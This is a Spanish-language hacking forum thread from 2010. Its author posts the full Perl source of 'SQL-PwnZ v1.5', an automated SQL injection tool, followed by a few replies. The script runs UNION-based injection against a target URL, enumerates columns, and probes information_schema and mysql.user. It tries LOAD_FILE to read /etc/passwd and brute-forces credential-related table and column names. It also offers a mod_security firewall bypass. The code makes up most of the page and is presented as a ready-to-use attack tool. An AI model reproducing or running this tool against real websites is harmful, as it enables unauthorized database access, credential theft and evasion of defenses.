elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  SQL-PwnZ v1.5 [NEW] [Mix Collations & mod_security Bypass]
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: SQL-PwnZ v1.5 [NEW] [Mix Collations & mod_security Bypass]  (Leído 5,835 veces)
Login-Root

Desconectado Desconectado

Mensajes: 37


Trust your technolust


Ver Perfil
SQL-PwnZ v1.5 [NEW] [Mix Collations & mod_security Bypass]
« en: 6 Abril 2010, 09:11 am »

Nuevo:

  • Agregado mod_security Bypass.
  • Agregado Illegal Mix Of Collations Bypass.
  • Agregadas más tablas para bruteforce.
  • Agregadas más columnas para bruteforce.
  • Código interno mejorado.
  • Bugs Fixeados.
Sitio con mod_security activado:




SQL-PwnZ: Bypasseando





Salida:






Sitio con Illegal Mix Of Collations:




SQL-PwnZ: Bypasseando




Salida:






Código:


Código:
#!/usr/bin/perl

##################################################################################################################
#                                  -[+]- SQL-PwnZ v1.5 | By Login-Root -[+]-                                   ###
##################################################################################################################

##################################################################################################################
# [+] inf0:                                                                                                    ###
##################################################################################################################
# Busca:                                                                                                       ###
# ======                                                                                                       ###
#  - Nº de columnas                                                                                            ###
#  - Information_Schema && MySQL.User                                                                          ###
#  - LOAD_FILE                                                                                                 ###
#  - Tablas                                                                                                    ###
#  - Columnas                                                                                                  ###
#  - Illegal Mix Of Collations Bypass && mod_security Bypass                                                   ###
#                                                                                                              ###
#  ...y guarda todo en un archivo de texto.                                                                    ###
#                                                                                                              ###
##################################################################################################################

##################################################################################################################
# [+] Use:                                                                                                     ###
##################################################################################################################
# perl sqlpwnz.pl [WEBSITE] [COLUMNAS] [ARCHIVO] [COMENTARIO] [-TB] [-CL] [-NOCHECK] [-MOD_FUCK] [-MIX_BYPASS] ###
#   [WEBSITE]: http://www.web.com/index.php?id=12 [INGRESAR UN ID VALIDO]                                      ###
#   [COLUMNAS]: Limite de columnas                                                                             ###
#   [ARCHIVO]: Archivo donde guardar web vulnerable                                                            ###
#   [COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)                                                    ###
#   [-TB]: Intentar brutear tablas (Opcional)                                                                  ###
#   [-CL]: Intentar brutear columnas (Opcional)                                                                ###
#   [-NOCHECK]: No hacer el chequeo inicial (Opcional)                                                         ###
#   [-MOD_FUCK]: Activar mod_security Bypass (Opcional)                                                        ###
#   [-MIX_BYPASS]: Activar Illegal Mix Of Collations Bypass (Opcional)                                         ###
##################################################################################################################

##################################################################################################################
# [+] c0ntact:                                                                                                 ###
##################################################################################################################
# MSN:    no.more@passport.com                                                                                 ###
# E-Mail: login_root@yahoo.com.ar                                                                              ###
##################################################################################################################

##################################################################################################################
# [+] sh0utz:                                                                                                  ###
##################################################################################################################
# Greetz: KiKo ; VanHan ; [Dead] Knet ; Ricota ; InyeXion ; OxOnO ; Matt ; r0dr1 ; oceanik6 ; OzX ; yoyahack   ###
# VISIT: WWW.REMOTEEXECUTION.ORG | WWW.DIOSDELARED.COM                                                         ###
##################################################################################################################

use HTTP::Request;
use LWP::UserAgent;

if(!$ARGV[2])
{
print "\n\n-[+]- SQL-PwnZ v1.5 | By Login-Root -[+]-\n=========================================";
print "\n\nUso: perl $0 [WEBSITE] [COLUMNAS] [ARCHIVO] [COMENTARIO] [-TB] [-CL] [-NOCHECK] [-MOD_FUCK] [-MIX_BYPASS]\n";
print "\n[WEBSITE]: http://www.web.com/index.php?id=12 [INGRESAR UN ID VALIDO]\n[COLUMNAS]: Limite de columnas\n[ARCHIVO]: Archivo donde guardar web vulnerable\n[COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)\n[-TB]: Intentar brutear tablas (Opcional)\n[-CL]: Intentar brutear columnas (Opcional)\n[-NOCHECK]: No hacer el chequeo inicial (Opcional)\n[-MOD_FUCK]: Activar mod_security Bypass (Opcional)\n[-MIX_BYPASS]: Activar Illegal Mix Of Collations Bypass (Opcional)\n\n";
exit (0);
}

@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario','web_users',
  'name','names','nombre','nombres','usuarios','member','members','admin_table','usuaris','web_usuarios',
  'miembro','miembros','membername','admins','administrator','sign','config','USUARIS','cms_operadores',
  'administrators','passwd','password','passwords','pass','Pass','mpn_authors','author','musuario','mysql.user',
  'user_names','foro','tAdmin','tadmin','user_password','user_passwords','user_name',
  'member_password','mods','mod','moderators','moderator','user_email','jos_users','mb_user','host','apellido_nombre',
  'user_emails','user_mail','user_mails','mail','emails','email','address','jos_usuarios','tutorial_user_auth',
  'e-mail','emailaddress','correo','correos','phpbb_users','log','logins','login','tbl_usuarios','user_auth','login_radio',
  'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass','tbl_admin','usuarios_head',
  'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador','BG_CMS_Users',
  'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id','foro_usuarios','cliente',
  'sistema_usuario','sistema_password','contrasena','auth','key','senha','signin','dir_admin','alias','clientes',
  'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member','calendar_users','cursos',
      'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization','web_users','curso',
      'membros','utilizadores','staff','nuke_authors','accounts','account','accnts','signup','leads','lead',
      'associated','accnt','customers','customer','membres','administrateur','utilisateur','riacms_users',
      'tuser','tusers','utilisateurs','password','amministratore','god','God','authors','wp_users','tb_usuarios',
      'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members','tb_usuario',
  'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');

@nombrecolumna=('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email','senha',
          'username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail','cliente',
          'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','host','pws','cedula','userName','host_password','chave','alias','apellido_nombre','cliente_nombre','cliente_email','cliente_pass','cliente_user','cliente_usuario',
          'login_id','usr','sistema_id','author','user_login','admin_user','admin_pass','uh_usuario','uh_password','psw','host_username',
          'sistema_usuario','auth','key','usuarios_nombre','usuarios_nick','usuarios_password','user_clave',
  'membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo','usuario_nombre','usuario_nick','usuario_password',
          'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
          'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');

($host, $columnas, $savelist) = @ARGV;

$agent = LWP::UserAgent->new;
$agent->agent("Google Bot");

if ( $host   !~   /^http:/ )
  {
      $host = "http://" . $host;
  }

for ($numarg = 0 ;  $numarg <= $#ARGV ; $numarg++)
{
$argumentos.= $ARGV[$numarg];
}

if ($argumentos =~ /-MIX_BYPASS/i)
{
print "\n[+] MIX_BYPASS ACTIVADO";
$hexin = "unhex(hex(";
$hexend = "))";
}
if ($argumentos !~ /-MOD_FUCK/i)
{
if ($argumentos =~ /--/)
{
$cmn= "+";
$cfin="--";
print "\n[+] Comentarios a utilizar: '--' & '+'";
}
else
{
$cmn= "/**/";
$cfin= "/*";
print "\n[+] Comentarios a utilizar: '/*' & '/**/'";
}
}
else
{
print "\n[+] MOD_FUCK ACTIVADO, se ignoran comentarios. Utilizando: '+'. Bypass: '/*!' & '*/'";
$bypass = "+/*!";
$cmn= "+";
$cfin= "*/";
}

open(WEB,">>".$savelist) || die "\n\n[-] Imposible crear el archivo de texto\n";
if ($argumentos =~ /-NOCHECK/i)
  {
      print "\n[!] Se omite el chequeo inicial...\n";
      print WEB "[WEBSITE]:\n\n$host\n";
  }
else
  {
      print "\n[!] Chequeando si la web es vulnerable...\n";
      $sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cfin));
      $response = $sql->content();
      if($response=~ /mysql_fetch_/ || $response=~ /You have an error in your SQL syntax/ || $response =~ /tem um erro de sintaxe no seu SQL/ || $response =~ /mysql_num_rows/ || $response =~ /Division by zero in/ || $response =~ /error de sintaxis al final de la entrada/ || $response =~ /Unknown column/)
        {
            print "[+] Web vulnerable, continua el script...\n";
            print WEB "[WEBSITE]:\n\n$host\n";
        }
        else
          {
            print "[-] Website aparentemente no vulnerable a SQL Inyection, intentar con otro comentario o con -NOCHECK activado\n\n";
    close(WEB);
            exit(0);
          }
  }
print "\n[!] Buscando columnas...\n";
for ($column = 1 ; $column <= $columnas ; $column ++)
{
$UNION.=','.$column;
$inyection.=','."0x6c6f67696e70776e7a";
    if ($column == 1)
      {
          print WEB "\n[COLUMNAS]:\n\n";
          $inyection = '';
          $UNION = '';
      }
    $sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin));
    $response = $sql->content();
    if($response =~ /loginpwnz/)
      {
         print "[+] La web posee $column columnas\n\n";
         $sql=$host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."1".$UNION.$cfin;
         print "$sql\n";
         print WEB "$sql\n";
         print "\n[!] Chequeando si existe Information_Schema...";
         $sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."FROM".$cmn."information_schema.tables".$cfin));
         $response = $sql->content();
         if($response =~ /loginpwnz/)
          {
          print "\n[+] Information_Schema disponible...guardando en $savelist";
            $sql=$host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."1".$UNION.$cmn."FROM".$cmn."information_schema.tables".$cfin;
            print WEB "\n\n[INFORMATION_SCHEMA]:\n\n$sql\n";
           
          }
         else
          {
            print "\n[-] Information_Schema no disponible";
          }
         print "\n[!] Chequeando si existe MySQL.User...";
         $sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."FROM".$cmn."mysql.user".$cfin));
         $response = $sql->content();
         if($response =~ /loginpwnz/)
          {
          print "\n[+] MySQL.User disponible...guardando en $savelist";
          $sql=$host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."1".$UNION.$cmn."FROM".$cmn."mysql.user".$cfin;
            print WEB "\n\n[MYSQL.USER]:\n\n$sql\n";
           
          }
         else
          {
            print "\n[-] MySQL.User no disponible";
          }
while ($loadcont < $column-1)
   {
$loadfile.=','.$hexin.'LOAD_FILE(0x2f6574632f706173737764)'.$hexend;
$loadcont++;
   }
print "\n[!] Chequeando si es posible inyectar LOAD_FILE...";
$sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn.$hexin."LOAD_FILE(0x2f6574632f706173737764)".$hexend.$loadfile.$cfin));
    $response = $sql->content();
    if($response =~ /root:x:/)
          {
          print "\n[+] LOAD_FILE disponible...guardando en $savelist";
          print WEB "\n\n[LOAD_FILE]:\n\n$hexinLOAD_FILE(0x2f6574632f706173737764)$hexend => OK! (0x2f6574632f706173737764 => /etc/passwd)\n";
          }
         else
          {
            print "\n[-] LOAD_FILE no disponible";
          }
if ($argumentos =~ /-TB/i)
          {
              print "\n\n[!] Bruteando tablas...";
              print WEB "\n\n[TABLAS]:\n\n";
              foreach $tabla(@nombretabla)
                {
                  chomp($tabla);
                  $sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."FROM".$cmn.$tabla.$cfin));
                  $response = $sql->content();
                  if($response =~ /loginpwnz/)
                    {
                        print "\n[+] La tabla $tabla esta disponible...guardando en $savelist";
                        $sql=$host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn."1".$UNION.$cmn."FROM".$cmn.$tabla.$cfin;
                        print WEB "$sql\n";
                    }
                }
            }
        if ($argumentos =~ /-CL/i)
          {
          print "\n\n[!] Tabla a la cual brutear columnas: ";
            $tabla=<STDIN>;
            chomp($tabla);
            print WEB "\n\n[COLUMNAS EN $tabla]:\n\n";
            foreach $columna(@nombrecolumna)
            {
             chomp($columna);
             $sql = $agent->request(HTTP::Request->new(GET => $host.$bypass."+AND+1=char(97)=char(87)".$cmn."UNION".$cmn."SELECT".$cmn.$hexin."concat(0x6c6f67696e70776e7a,0x3a,$columna)".$hexend.$inyection.$cmn."FROM".$cmn.$tabla.$cfin));
             $response = $sql->content();
             if ($response =~ /loginpwnz/)
                  {
                      print "\n[+] La columna $columna esta disponible...guardando en $savelist";
                      print WEB "$hexin$columna$hexend\n";
                  }
            }
        }
        print WEB "\n\n\n[*EOF*]";
        print "\n\n[+] Todo salvado correctamente en $savelist\n\n";
        print "## c0ded by Login-Root | 2010 ##\n\n";
close(WEB);
        exit (0);
      }
}
print "[-] Imposible encontrar numero de columnas, intentar con mas columnas\n\n";
print "## c0ded by Login-Root | 2010 ##\n\n";
close(WEB);
exit (0);


Sitio:

http://sourceforge.net/projects/sqlpwnz/
« Última modificación: 11 Abril 2010, 12:36 pm por Login-Root » En línea

8-Bit
xassiz_

Desconectado Desconectado

Mensajes: 273


Ich werde dich töten..


Ver Perfil WWW
Re: SQL-PwnZ v1.5 [NEW] [Mix Collations & mod_security Bypass]
« Respuesta #1 en: 6 Abril 2010, 18:32 pm »

Esta bueno, ahora lo bueno sería sacar los datos directamente cuando information_schema está activado ^^
En línea



YXVuIGVyZXMgbWF0YWRvIHBhcmEgcG9uZXJ0ZSBhIGRlc2NpZnJhciBlc3RvIHhE
Login-Root

Desconectado Desconectado

Mensajes: 37


Trust your technolust


Ver Perfil
Re: SQL-PwnZ v1.5 [NEW] [Mix Collations & mod_security Bypass]
« Respuesta #2 en: 7 Abril 2010, 00:08 am »

Gracias por ser el unico en comentar aqui, prometo agregarlo en futuras versiones :)

Saludos.
En línea

8-Bit
alexkof158


Desconectado Desconectado

Mensajes: 415


LOL


Ver Perfil
Re: SQL-PwnZ v1.5 [NEW] [Mix Collations & mod_security Bypass]
« Respuesta #3 en: 7 Abril 2010, 11:13 am »

Bonita herramienta me encantaaa xD decidido a aprender Perl

aunke para la sig version deberia hacer que te arroja los datos de las columnas  :laugh:

saludos
« Última modificación: 8 Abril 2010, 10:23 am por alexkof158 » En línea

"noproxy"
eXcEsuHk

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: SQL-PwnZ v1.5 [NEW] [Mix Collations & mod_security Bypass]
« Respuesta #4 en: 8 Enero 2013, 15:09 pm »

Hi man, i use this script not work for me ..

Citar
root:senyo8z207 [/dev/shm]# perl sql.pl
Semicolon seems to be missing at sql.pl line 42.
syntax error at sql.pl line 5, near "+]"
Unmatched right square bracket at sql.pl line 43, at end of line
"use" not allowed in expression at sql.pl line 82, at end of line
syntax error at sql.pl line 82, near "use HTTP::Request"
BEGIN not safe after errors--compilation aborted at sql.pl line 83.
En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.605


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: SQL-PwnZ v1.5 [NEW] [Mix Collations & mod_security Bypass]
« Respuesta #5 en: 18 Marzo 2013, 21:17 pm »

Se ve buena la herramienta, la probaré aver como va y te comento :) felicidades por la iniciativa
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Rompiendo el mod_security de Apache
Nivel Web
alienmaster 0 2,298 Último mensaje 7 Abril 2016, 00:33 am
por alienmaster
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines